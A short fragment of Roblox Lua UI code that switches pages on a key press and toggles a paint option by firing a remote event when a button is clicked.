local PageLayout = script.Parent.UIPageLayout local userInputService = game:GetService("UserInputService") function onKeyPressOne() print("One is pressed") PageLayout:JumpTo(script.Parent.Primary)
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local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Teal",Paint) end)